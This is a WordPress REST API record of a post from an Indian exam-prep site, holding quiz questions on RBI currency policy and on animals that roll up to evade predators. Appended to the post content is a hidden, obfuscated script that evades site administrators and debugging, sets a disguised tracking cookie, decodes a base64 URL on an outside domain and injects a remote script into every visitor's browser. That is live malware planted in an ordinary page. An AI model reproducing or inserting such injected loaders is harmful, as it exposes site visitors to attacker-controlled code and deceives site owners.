has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. With reference to the Indian economy, consider the following statements:<\/strong> <br><br>1. If the inflation is too high, the Reserve Bank of India (RBI) is likely to buy government securities. <br>2. If the rupee is rapidly depreciating, RBI is likely to sell dollars in the market. <br>3. If interest rates in the USA or European Union were to fall, that is likely to induce RBI to buy dollars. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-220 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/markets\/rupee-falls-3-paise-to-close-at-8880-against-us-dollar\/article70139184.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/markets\/rupee-falls-3-paise-to-close-at-8880-against-us-dollar\/article70139184.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-221 wp-block-paragraph\"><strong>10. Consider the following animals:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-222 wp-block-paragraph\">1. Hedgehog<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-223 wp-block-paragraph\">2. Marmot<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-224 wp-block-paragraph\">3. Pangolin<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-225 wp-block-paragraph\"><strong>To reduce the chance of being captured by predators, which of the above organisms rolls up\/roll up and protects\/protect its\/their vulnerable parts?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-226 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-227 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-228 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-229 wp-block-paragraph\">(d) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-230 wp-block-paragraph\"><strong>Answer: (d) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-231 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"170\" height=\"117\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-17.jpg\" alt=\"\" class=\"wp-image-2539\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"326\" height=\"195\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-2.png\" alt=\"\" class=\"wp-image-2541\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-2.png 326w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-2-300x179.png 300w\" sizes=\"auto, (max-width: 326px) 100vw, 326px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"265\" height=\"184\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-1.png\" alt=\"\" class=\"wp-image-2540\"\/><\/figure>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-232\">\n<li>Hedgehogs roll into a tight ball when threatened, using their spines to protect vulnerable parts.<\/li>\n\n\n\n<li>Marmots do not roll up. They rely on burrowing, alarm calls, and running to evade predators.<\/li>\n\n\n\n<li>Pangolins roll into a ball when threatened, using their hard keratin scales as armor.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-233 wp-block-paragraph\"><strong>Hence option (d) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which one of the following best describes the term \u2018Quantum tunnelling\u2019, recently seen in NEWS? (a) A phenomenon where [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,11,42],"tags":[],"class_list":["post-2534","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2534","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2534"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2534\/revisions"}],"predecessor-version":[{"id":2980,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2534\/revisions\/2980"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}